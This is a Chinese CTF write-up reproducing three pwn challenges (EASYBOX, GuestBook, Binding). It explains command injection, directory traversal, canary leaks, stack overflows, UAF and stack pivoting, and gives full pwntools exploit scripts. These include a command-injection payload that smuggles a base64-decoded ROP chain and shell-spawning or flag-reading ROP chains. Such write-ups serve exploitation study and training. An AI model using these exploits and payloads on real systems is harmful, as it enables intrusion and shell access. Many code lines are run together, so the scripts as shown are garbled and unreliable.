前言
笔者没有参加此次比赛,由于团队后面会复现此次比赛,所以笔者在此进行复现记录。
EASYBOX
考点:命令执行?+ 栈溢出
附件给了 docker 环境,可以直接在本地复现,但是 docker 我不会调试,幸好这题也不用调试。
程序没开 PIE,有 system,sh 字符串。然后在一开始的时候把 canary 写进了/secret/canary.txt 文件中。
漏洞分析
漏洞1:
在 pingCommand 函数中对输入的字符检查不够严格,导致存在命令注入:例如我们可以通过 0;echo "data" 向 /tmp/result.txt 文件中写入内容。
这个环境好像没有 tac/less/more 等命令,然后 cat 被过滤了,所以这里似乎没办法直接读文件内容。还需要注意的是 sprintf 会被 \x00 截断,但是这个无关紧要的,可以 base 一下去除 \x00。
漏洞2:
这里首先存在目录穿越,也是对输入的文件名检查不严格导致。然后后面那个溢出漏洞很明显,其实大家写过程序都知道,对于文件的读取,一般都是根据文件大小去 malloc 一个对应的空间。而这里如果文件大小大于 72 则导致栈溢出。
漏洞利用
1、先利用 CAT 功能配合目录穿越读取 canary
2、再利用 PING 功能往 result.txt 文件中写入 rop 链
3、最后利用 CAT 功能读取 result.txt 造成栈溢出
exp 如下:
from pwn import *
import base64
context.terminal = ['tmux', 'splitw', '-h']
context(arch = 'amd64', os = 'linux')
#context(arch = 'i386', os = 'linux')
#context.log_level = 'debug'#io = process("./pwn")
io = remote("127.0.0.1", 9999)
elf = ELF("./pwn")
libc = elf.libcdef debug():gdb.attach(io)pause()sd = lambda s : io.send(s)
sda = lambda s, n : io.sendafter(s, n)
sl = lambda s : io.sendline(s)
sla = lambda s, n : io.sendlineafter(s, n)
rc = lambda n : io.recv(n)
rl = lambda : io.recvline()
rut = lambda s : io.recvuntil(s, drop=True)
ruf = lambda s : io.recvuntil(s, drop=False)
addr4 = lambda n : u32(io.recv(n, timeout=1).ljust(4, b'\x00'))
addr8 = lambda n : u64(io.recv(n, timeout=1).ljust(8, b'\x00'))
addr32 = lambda s : u32(io.recvuntil(s, drop=True, timeout=1).ljust(4, b'\x00'))
addr64 = lambda s : u64(io.recvuntil(s, drop=True, timeout=1).ljust(8, b'\x00'))
byte = lambda n : str(n).encode()
info = lambda s, n : print("\033[31m["+s+" -> "+str(hex(n))+"]\033[0m")
sh = lambda : io.interactive()
menu = b''pop_rdi = 0x0000000000401ce3 # pop rdi ; ret
sh_addr = 0x0000000000402090
system = 0x00000000004018B2sla(b'name: ', b'XiaozaYa')
sla(b'$ ', b'CAT')
sla(b'view: ', b'../../secret/canary.txt')
canary = int(rl(), 16)
info("canary", canary)rop = b'A'*72 + p64(canary) + p64(0xdeadbeef) + p64(pop_rdi) + p64(sh_addr) + p64(system)
rop = base64.b64encode(rop)
pay = b'0;echo "' + rop + b'" | base64 -d'
print(hex(len(pay)), ":", pay)sla(b'$ ', b'PING')
sla(b'address: ', pay)
sla(b'$ ', b'CAT')
sla(b'view: ', b'result.txt')#debug()
sh()
效果如下:
GuestBook
考点:栈溢出
没开 PIE,有后门,有栈溢出,其实没啥好说的了
read 那里溢出到了 canary,所以可以直接修改 canary 最后一个字节然后泄漏出 canary。后面一个白给的栈溢出,strcpy 存在 \x00 截断,所以 canary 分两次写即可。然后就直接跳到后门即可。
exp如下:
from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
context(arch = 'amd64', os = 'linux')
#context(arch = 'i386', os = 'linux')
#context.log_level = 'debug'io = process("./pwn")
elf = ELF("./pwn")
libc = elf.libcdef debug():gdb.attach(io)pause()sd = lambda s : io.send(s)
sda = lambda s, n : io.sendafter(s, n)
sl = lambda s : io.sendline(s)
sla = lambda s, n : io.sendlineafter(s, n)
rc = lambda n : io.recv(n)
rl = lambda : io.recvline()
rut = lambda s : io.recvuntil(s, drop=True)
ruf = lambda s : io.recvuntil(s, drop=False)
addr4 = lambda n : u32(io.recv(n, timeout=1).ljust(4, b'\x00'))
addr8 = lambda n : u64(io.recv(n, timeout=1).ljust(8, b'\x00'))
addr32 = lambda s : u32(io.recvuntil(s, drop=True, timeout=1).ljust(4, b'\x00'))
addr64 = lambda s : u64(io.recvuntil(s, drop=True, timeout=1).ljust(8, b'\x00'))
byte = lambda n : str(n).encode()
info = lambda s, n : print("\033[31m["+s+" -> "+str(hex(n))+"]\033[0m")
sh = lambda : io.interactive()
menu = b''sda(b'name: ', b'A'*23 + b'X' + b'Y')
rut(b'X')
canary = addr8(8) - ord('Y')
rbp = addr8(6)
info("canary", canary)
info("rbp", rbp)sla(b'): ', b'2')pay = b'A'*(0xA0 - 8) + p64(canary + ord('A')) + b'AAAAAAAA' + b'\xc3\x12\x40'
sl(pay)sleep(0.01)
pay = b'A'*(0xA0 - 8 - 0x20)
sl(pay)
#debug()
sh()
效果如下:
Binding
考点:栈溢出,这题套一个堆的壳子,其实就是一个栈迁移打 orw 的题目
题目实现了一个菜单堆,这里就只说下漏洞点:
漏洞1:
漏洞主要在 edit 函数中,首先就是一个贴脸的栈溢出,但是只溢出 0x10 字节,所以想利用的话基本就是栈迁移。
然后还有一个致命的漏洞,感觉非常莫名其妙,add 会申请两个堆块,其结构是这样的:
也就是说 edit 每次先修改的 0x100 上面的指针,然后在根据指针去写,那这不就是白给的 8 字节任意地址写吗?但是注意这里有个 *ptr = (unsigned __int8*)*ptr,这导致后面其实只能写一字节。
漏洞2:
没有将指针置空,可以利用 UAF 去泄漏 libc_base/heap_base。由于这里使用的是 calloc 所以 double free 不好直接打,因为题目限制了堆块的大小在 [0x100, 0x200] 之间,所以不会落在 fastbin 中。
利用思路:
1、 UAF 泄漏 libc_base/heap_base
2、任意写修改 tcbhead_t 结构体中的 stack_guard 从而绕过 canary 保护
3、栈迁移到堆上打 orw
exp 如下:
from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
context(arch = 'amd64', os = 'linux')
#context(arch = 'i386', os = 'linux')
#context.log_level = 'debug'io = process("./pwn")
elf = ELF("./pwn")
libc = elf.libcdef debug():gdb.attach(io)pause()sd = lambda s : io.send(s)
sda = lambda s, n : io.sendafter(s, n)
sl = lambda s : io.sendline(s)
sla = lambda s, n : io.sendlineafter(s, n)
rc = lambda n : io.recv(n)
rl = lambda : io.recvline()
rut = lambda s : io.recvuntil(s, drop=True)
ruf = lambda s : io.recvuntil(s, drop=False)
addr4 = lambda n : u32(io.recv(n, timeout=1).ljust(4, b'\x00'))
addr8 = lambda n : u64(io.recv(n, timeout=1).ljust(8, b'\x00'))
addr32 = lambda s : u32(io.recvuntil(s, drop=True, timeout=1).ljust(4, b'\x00'))
addr64 = lambda s : u64(io.recvuntil(s, drop=True, timeout=1).ljust(8, b'\x00'))
byte = lambda n : str(n).encode()
info = lambda s, n : print("\033[31m["+s+" -> "+str(hex(n))+"]\033[0m")
sh = lambda : io.interactive()
menu = b'Your choice:'
def add(idx, size, data, flag=True):sla(menu, b'1')sla(b'Idx:', byte(idx))sla(b'Size:', byte(size))if flag:sda(b'Content:', data)else:sla(b'Content:', data)def edit(idx, data0, data1, flag=True):sla(menu, b'2')if flag:sda(b'Idx:', byte(idx))else:sda(b'Idx:', idx)sda(b'context1: ', data0)sda(b'context2: ', data1)def show(idx, cmd=0):sla(menu, b'3')sla(b'Your choice:', byte(cmd))sla(b'Idx:', byte(idx))def dele(idx):sla(menu, b'4')sla(b'Idx:', byte(idx))for i in range(6):add(i, 256, b'A\n')for i in range(1, 5):dele(i)show(2, 0)
rut(b': ')
heap_base = addr8(6) - 0x5d0
info("heap_base", heap_base)
show(4, 1)
rut(b': ')
libc_base = addr8(6) - 0x1ecbe0
libc.address = libc_base
TLS_canary = libc_base + 0x1f3568
info("libc_base", libc_base)
info("TLS_canary", TLS_canary)pop_rdi = libc_base + 0x0000000000023b6a # pop rdi ; ret
pop_rsi = libc_base + 0x000000000002601f # pop rsi ; ret
pop_rdx = libc_base + 0x0000000000142c92 # pop rdx ; ret
leave_ret = libc_base + 0x00000000000578c8 # leave ; retorw = p64(pop_rdi) + p64(heap_base+0xcd8) + p64(pop_rsi) + p64(0) + p64(pop_rdx) + p64(0) + p64(libc.sym.open)
orw += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(heap_base+0x300) + p64(pop_rdx) + p64(0x40) + p64(libc.sym.read)
orw += p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(heap_base+0x300) + p64(pop_rdx) + p64(0x40) + p64(libc.sym.write)
orw += b'./flag\x00\x00'
info("orw len", len(orw))
add(7, 256, orw)pay = b'0'.ljust(0x28, b'\x00') + b'A\x00\x00\x00\x00\x00\x00\x00' + p64(heap_base+0xc28) + p64(leave_ret)
edit(pay, p64(TLS_canary), b'AAAAAAAA', False)
#debug()
sh()
效果如下: